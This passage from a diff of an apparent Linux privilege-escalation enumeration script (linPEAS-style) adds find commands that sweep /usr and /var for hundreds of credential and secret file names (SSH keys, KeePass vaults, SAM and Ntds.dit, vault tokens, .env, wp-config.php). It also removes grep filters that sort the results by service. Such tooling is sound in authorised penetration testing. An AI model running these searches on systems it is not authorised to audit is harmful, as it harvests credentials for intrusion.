\".msmtprc\" -o -name \"printers.xml\" -o -name \"backups\" -o -name \"*.der\" -o -name \"iis6.log\" -o -name \"unattend.xml\" -o -name \"my.cnf\" -o -name \"wcx_ftp.ini\" -o -name \".k5login\" -o -name \"*.timer\" -o -name \"pgsql.conf\" -o -name \"TokenCache.dat\" -o -name \"id_dsa*\" -o -name \"ipsec.conf\" -o -name \"winscp.ini\" -o -name \"autologin\" -o -name \".google_authenticator\" -o -name \"default.sav\" -o -name \"*.csr\" -o -name \"KeePass.ini\" -o -name \"access_tokens.json\" -o -name \"filezilla.xml\" -o -name \".bashrc\" -o -name \"setupinfo\" -o -name \"mongod*.conf\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*.gnupg\" -o -name \"appcmd.exe\" -o -name \"security.sav\" -o -name \"sess_*\" -o -name \"SYSTEM\" -o -name \".ldaprc\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"sites.ini\" -o -name \"passwd\" -o -name \"*.gpg\" -o -name \"*.p12\" -o -name \"gitlab.rm\" -o -name \"storage.php\" -o -name \"KeePass.config*\" -o -name \"*vnc*.ini\" -o -name \"access.log\" -o -name \"sysprep.xml\" -o -name \"cloud.cfg\" -o -name \"unattend.txt\" -o -name \"creds*\" -o -name \"*vnc*.c*nf*\" -o -name \".sudo_as_admin_successful\" -o -name \"ftp.ini\" -o -name \"drives.xml\" -o -name \"fastcgi_params\" -o -name \"groups.xml\" -o -name \"sitemanager.xml\" -o -name \"*.socket\" -o -name \"unattend.inf\" -o -name \"krb5.conf\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.db\" -o -name \"php.ini\" -o -name \"azureProfile.json\" -o -name \"https.conf\" -o -name \"credentials.db\" -o -name \"elasticsearch.y*ml\" -o -name \".env\" -o -name \"datasources.xml\" -o -name \"*vnc*.txt\" -o -name \"redis.conf\" -o -name \"hostapd.conf\" -o -name \"AzureRMContext.json\" -o -name \"autologin.conf\" -o -name \".pypirc\" -o -name \".erlang.cookie\" -o -name \"ffftp.ini\" -o -name \"index.dat\" -o -name \"unattended.xml\" -o -name \"secrets.yml\" -o -name \"hosts.equiv\" -o -name \"legacy_credentials.db\" -o -name \"*.jks\" -o -name \"my.ini\" -o -name \"rsyncd.secrets\" -o -name \"software\" -o -name \".htpasswd\" -o -name \"setupinfo.bak\" -o -name \"*.swp\" -o -name \"supervisord.conf\" -o -name \"known_hosts\" -o -name \"*.ftpconfig\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"postgresql.conf\" -o -name \"snmpd.conf\" -o -name \"*vnc*.xml\" -o -name \"scheduledtasks.xml\" -o -name \"gvm-tools.conf\" -o -name \".*_history\" -o -name \".lesshst\" -o -name \"security\" -o -name \"ws_ftp.ini\" -o -name \"ftp.config\" -o -name \"ddclient.conf\" -o -name \"ipsec.secrets\" -o -name \"backup\" -o -name \"kibana.y*ml\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.key\" -o -name \"RDCMan.settings\" -o -name \"*.cer\" -o -name \"pagefile.sys\" -o -name \"FreeSSHDservice.ini\" -o -name \"AppEvent.Evt\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"web*.config\" -o -name \"*.pgp\" -o -name \"pgadmin*.db\" -o -name \"settings.php\" -o -name \"cesi.conf\" -o -name \"tomcat-users.xml\" -o -name \"sysprep.inf\" -o -name \"rsyncd.conf\" -o -name \"authorized_hosts\" -o -name \".recently-used.xbel\" -o -name \"accessTokens.json\" -o -name \"db.php\" -o -name \"ntuser.dat\" -o -name \"*config*.php\" -o -name \"kadm5.acl\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_USR=`eval_bckgrd "find /usr -name \"authorized_keys\" -o -name \"docker.sock\" -o -name \"SecEvent.Evt\" -o -name \".vault-token\" -o -name \"Ntds.dit\" -o -name \"*.ovpn\" -o -name \"*.kdbx\" -o -name \"httpd.conf\" -o -name \"000-default\" -o -name \"krb5.keytab\" -o -name \"*credential*\" -o -name \"server.xml\" -o -name \"*.viminfo\" -o -name \"vault-ssh-helper.hcl\" -o -name \"scclient.exe\" -o -name \".git\" -o -name \"system.sav\" -o -name \"access_tokens.db\" -o -name \"recentservers.xml\" -o -name \"*.keyring\" -o -name \"KeePass.enforced*\" -o -name \"*password*\" -o -name \"docker-compose.yml\" -o -name \"wp-config.php\" -o -name \"credentials\" -o -name \"id_rsa*\" -o -name \"*.pfx\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"bash.exe\" -o -name \"services.xml\" -o -name \"*.sqlite3\" -o -name \"NetSetup.log\" -o -name \"*.crt\" -o -name \".gitconfig\" -o -name \"pg_hba.conf\" -o -name \"docker.socket\" -o -name \"Dockerfile\" -o -name \"*.rdg\" -o -name \"error.log\" -o -name \"anaconda-ks.cfg\" -o -name \".github\" -o -name \".profile\" -o -name \"*config*ssh*\" -o -name \"gitlab.yml\" -o -name \"config.php\" -o -name \".rhosts\" -o -name \".msmtprc\" -o -name \"printers.xml\" -o -name \"backups\" -o -name \"*.der\" -o -name \"iis6.log\" -o -name \"unattend.xml\" -o -name \"my.cnf\" -o -name \"wcx_ftp.ini\" -o -name \".k5login\" -o -name \"*.timer\" -o -name \"pgsql.conf\" -o -name \"TokenCache.dat\" -o -name \"id_dsa*\" -o -name \"ipsec.conf\" -o -name \"winscp.ini\" -o -name \"autologin\" -o -name \".google_authenticator\" -o -name \"default.sav\" -o -name \"*.csr\" -o -name \"KeePass.ini\" -o -name \"access_tokens.json\" -o -name \"filezilla.xml\" -o -name \".bashrc\" -o -name \"setupinfo\" -o -name \"mongod*.conf\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*.gnupg\" -o -name \"appcmd.exe\" -o -name \"security.sav\" -o -name \"SYSTEM\" -o -name \".ldaprc\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"sites.ini\" -o -name \"passwd\" -o -name \"*.gpg\" -o -name \"*.p12\" -o -name \"gitlab.rm\" -o -name \"storage.php\" -o -name \"KeePass.config*\" -o -name \"*vnc*.ini\" -o -name \"access.log\" -o -name \"sysprep.xml\" -o -name \"cloud.cfg\" -o -name \"unattend.txt\" -o -name \"creds*\" -o -name \"*vnc*.c*nf*\" -o -name \".sudo_as_admin_successful\" -o -name \"ftp.ini\" -o -name \"drives.xml\" -o -name \"fastcgi_params\" -o -name \"groups.xml\" -o -name \"sitemanager.xml\" -o -name \"*.socket\" -o -name \"unattend.inf\" -o -name \"krb5.conf\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.db\" -o -name \"php.ini\" -o -name \"azureProfile.json\" -o -name \"https.conf\" -o -name \"credentials.db\" -o -name \"elasticsearch.y*ml\" -o -name \".env\" -o -name \"datasources.xml\" -o -name \"*vnc*.txt\" -o -name \"redis.conf\" -o -name \"hostapd.conf\" -o -name \"AzureRMContext.json\" -o -name \"autologin.conf\" -o -name \".pypirc\" -o -name \".erlang.cookie\" -o -name \"ffftp.ini\" -o -name \"index.dat\" -o -name \"unattended.xml\" -o -name \"secrets.yml\" -o -name \"hosts.equiv\" -o -name \"legacy_credentials.db\" -o -name \"*.jks\" -o -name \"my.ini\" -o -name \"rsyncd.secrets\" -o -name \"software\" -o -name \".htpasswd\" -o -name \"*ssh*config*\" -o -name \"setupinfo.bak\" -o -name \"*.swp\" -o -name \"supervisord.conf\" -o -name \"known_hosts\" -o -name \"*.ftpconfig\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"postgresql.conf\" -o -name \"snmpd.conf\" -o -name \"*vnc*.xml\" -o -name \"scheduledtasks.xml\" -o -name \"gvm-tools.conf\" -o -name \".*_history\" -o -name \".lesshst\" -o -name \"security\" -o -name \"ws_ftp.ini\" -o -name \"ftp.config\" -o -name \"ddclient.conf\" -o -name \"ipsec.secrets\" -o -name \"backup\" -o -name \"kibana.y*ml\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.key\" -o -name \"RDCMan.settings\" -o -name \"*.cer\" -o -name \"pagefile.sys\" -o -name \"FreeSSHDservice.ini\" -o -name \"AppEvent.Evt\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"web*.config\" -o -name \"*.pgp\" -o -name \"pgadmin*.db\" -o -name \"settings.php\" -o -name \"cesi.conf\" -o -name \"tomcat-users.xml\" -o -name \"sysprep.inf\" -o -name \"rsyncd.conf\" -o -name \"authorized_hosts\" -o -name \".recently-used.xbel\" -o -name \"accessTokens.json\" -o -name \"db.php\" -o -name \"ntuser.dat\" -o -name \"*config*.php\" -o -name \"kadm5.acl\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_VAR=`eval_bckgrd "find /var -name \"authorized_keys\" -o -name \"docker.sock\" -o -name \"SecEvent.Evt\" -o -name \".vault-token\" -o -name \"Ntds.dit\" -o -name \"*.ovpn\" -o -name \"*.kdbx\" -o -name \"httpd.conf\" -o -name \"000-default\" -o -name \"krb5.keytab\" -o -name \"*credential*\" -o -name \"server.xml\" -o -name \"*.viminfo\" -o -name \"vault-ssh-helper.hcl\" -o -name \"scclient.exe\" -o -name \".git\" -o -name \"system.sav\" -o -name \"access_tokens.db\" -o -name \"recentservers.xml\" -o -name \"*.keyring\" -o -name \"KeePass.enforced*\" -o -name \"*password*\" -o -name \"docker-compose.yml\" -o -name \"wp-config.php\" -o -name \"credentials\" -o -name \"id_rsa*\" -o -name \"*.pfx\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"bash.exe\" -o -name \"services.xml\" -o -name \"*.sqlite3\" -o -name \"NetSetup.log\" -o -name \"*.crt\" -o -name \".gitconfig\" -o -name \"pg_hba.conf\" -o -name \"docker.socket\" -o -name \"Dockerfile\" -o -name \"*.rdg\" -o -name \"error.log\" -o -name \"anaconda-ks.cfg\" -o -name \".github\" -o -name \".profile\" -o -name \"gitlab.yml\" -o -name \"config.php\" -o -name \".rhosts\" -o -name \".msmtprc\" -o -name \"printers.xml\" -o -name \"backups\" -o -name \"*.der\" -o -name \"iis6.log\" -o -name \"unattend.xml\" -o -name \"my.cnf\" -o -name \"wcx_ftp.ini\" -o -name \".k5login\" -o -name \"*.timer\" -o -name \"pgsql.conf\" -o -name \"TokenCache.dat\" -o -name \"id_dsa*\" -o -name \"ipsec.conf\" -o -name \"winscp.ini\" -o -name \"autologin\" -o -name \".google_authenticator\" -o -name \"default.sav\" -o -name \"*.csr\" -o -name \"KeePass.ini\" -o -name \"access_tokens.json\" -o -name \"filezilla.xml\" -o -name \".bashrc\" -o -name \"setupinfo\" -o -name \"mongod*.conf\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*.gnupg\" -o -name \"appcmd.exe\" -o -name \"security.sav\" -o -name \"sess_*\" -o -name \"SYSTEM\" -o -name \".ldaprc\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"sites.ini\" -o -name \"passwd\" -o -name \"*.gpg\" -o -name \"*.p12\" -o -name \"gitlab.rm\" -o -name \"storage.php\" -o -name \"KeePass.config*\" -o -name \"*vnc*.ini\" -o -name \"access.log\" -o -name \"sysprep.xml\" -o -name \"cloud.cfg\" -o -name \"unattend.txt\" -o -name \"creds*\" -o -name \"*vnc*.c*nf*\" -o -name \".sudo_as_admin_successful\" -o -name \"ftp.ini\" -o -name \"drives.xml\" -o -name \"fastcgi_params\" -o -name \"groups.xml\" -o -name \"sitemanager.xml\" -o -name \"*.socket\" -o -name \"unattend.inf\" -o -name \"krb5.conf\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.db\" -o -name \"php.ini\" -o -name \"azureProfile.json\" -o -name \"https.conf\" -o -name \"credentials.db\" -o -name \"elasticsearch.y*ml\" -o -name \".env\" -o -name \"datasources.xml\" -o -name \"*vnc*.txt\" -o -name \"redis.conf\" -o -name \"hostapd.conf\" -o -name \"AzureRMContext.json\" -o -name \"autologin.conf\" -o -name \".pypirc\" -o -name \".erlang.cookie\" -o -name \"ffftp.ini\" -o -name \"index.dat\" -o -name \"unattended.xml\" -o -name \"secrets.yml\" -o -name \"hosts.equiv\" -o -name \"legacy_credentials.db\" -o -name \"*.jks\" -o -name \"my.ini\" -o -name \"rsyncd.secrets\" -o -name \"software\" -o -name \".htpasswd\" -o -name \"setupinfo.bak\" -o -name \"*.swp\" -o -name \"supervisord.conf\" -o -name \"known_hosts\" -o -name \"*.ftpconfig\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"postgresql.conf\" -o -name \"snmpd.conf\" -o -name \"*vnc*.xml\" -o -name \"scheduledtasks.xml\" -o -name \"gvm-tools.conf\" -o -name \".*_history\" -o -name \".lesshst\" -o -name \"security\" -o -name \"ws_ftp.ini\" -o -name \"ftp.config\" -o -name \"ddclient.conf\" -o -name \"ipsec.secrets\" -o -name \"backup\" -o -name \"kibana.y*ml\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.key\" -o -name \"RDCMan.settings\" -o -name \"*.cer\" -o -name \"pagefile.sys\" -o -name \"FreeSSHDservice.ini\" -o -name \"AppEvent.Evt\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"web*.config\" -o -name \"*.pgp\" -o -name \"pgadmin*.db\" -o -name \"settings.php\" -o -name \"cesi.conf\" -o -name \"tomcat-users.xml\" -o -name \"sysprep.inf\" -o -name \"rsyncd.conf\" -o -name \"authorized_hosts\" -o -name \".recently-used.xbel\" -o -name \"accessTokens.json\" -o -name \"db.php\" -o -name \"ntuser.dat\" -o -name \"*config*.php\" -o -name \"kadm5.acl\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
 
 
   wait # Always wait at the end
   CONT_THREADS=0 #Reset the threads counter
 
   #GENERATE THE STORAGES OF THE FOUND FILES
-  PSTORAGE_SYSTEMD=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/opt|^/.cache|^/tmp|^/sys|^/media|^/sbin|^/snap|^/applications|^/srv|^/lib|^/run|^/cdrom|^/mnt|^/usr|^/etc|^/bin|^$GREPHOMESEARCH|^/system|^/var|^/lib64|^/private|^/lib32|^/systemd" | grep -E ".*\.service$" | sort | uniq | head -n 70)
-  PSTORAGE_TIMER=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/opt|^/.cache|^/tmp|^/sys|^/media|^/sbin|^/snap|^/applications|^/srv|^/lib|^/run|^/cdrom|^/mnt|^/usr|^/etc|^/bin|^$GREPHOMESEARCH|^/system|^/var|^/lib64|^/private|^/lib32|^/systemd" | grep -E ".*\.timer$" | sort | uniq | head -n 70)
-  PSTORAGE_SOCKET=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/opt|^/.cache|^/tmp|^/sys|^/media|^/sbin|^/snap|^/applications|^/srv|^/lib|^/run|^/cdrom|^/mnt|^/usr|^/etc|^/bin|^$GREPHOMESEARCH|^/system|^/var|^/lib64|^/private|^/lib32|^/systemd" | grep -E ".*\.socket$" | sort | uniq | head -n 70)
-  PSTORAGE_DBUS=$(echo -e "$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_SBIN\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV"  | grep -E "^/etc" | grep -E "system\.d$" | sort | uniq | head -n 70)
-  PSTORAGE_MYSQL=$(echo -e "$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_SBIN\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV"  | grep -v -E 'mysql/mysql' | grep -E '^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql' | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "mysql$" | sort | uniq | head -n 70)
-  PSTORAGE_POSTGRESQL=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "pgadmin.*\.db$|pg_hba\.conf$|postgresql\.conf$|pgsql\.conf$" | sort | uniq | head -n 70)
-  PSTORAGE_APACHE=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_SBIN\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "sites-enabled$|000-default$" | sort | uniq | head -n 70)
-  PSTORAGE_PHPCOOKIES=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E '/tmp/.*sess_.*|/var/tmp/.*sess_.*' | grep -E "^/var|^/mnt|^/tmp" | grep -E "sess_.*$" | sort | uniq | head -n 70)
-  PSTORAGE_PHP_FILES=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E ".*config.*\.php$|database\.php$|db\.php$|storage\.php$|settings\.php$" | sort | uniq | head -n 70)
-  PSTORAGE_WORDPRESS=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "wp-config\.php$" | sort | uniq | head -n 70)
-  PSTORAGE_DRUPAL=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E '/default/settings.php' | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "settings\.php$" | sort | uniq | head -n 70)
-  PSTORAGE_MOODLE=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E 'moodle/config.php' | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "config\.php$" | sort | uniq | head -n 70)
-  PSTORAGE_TOMCAT=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "tomcat-users\.xml$" | sort | uniq | head -n 70)
-  PSTORAGE_MONGO=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "mongod.*\.conf$" | sort | uniq | head -n 70)
-  PSTORAGE_SUPERVISORD=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "supervisord\.conf$" | sort | uniq | head -n 70)
-  PSTORAGE_CESI=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "cesi\.conf$" | sort | uniq | head -n 70)
-  PSTORAGE_RSYNC=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "rsyncd\.conf$|rsyncd\.secrets$" | sort | uniq | head -n 70)
-  PSTORAGE_HOSTAPD=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "hostapd\.conf$" | sort | uniq | head -n 70)
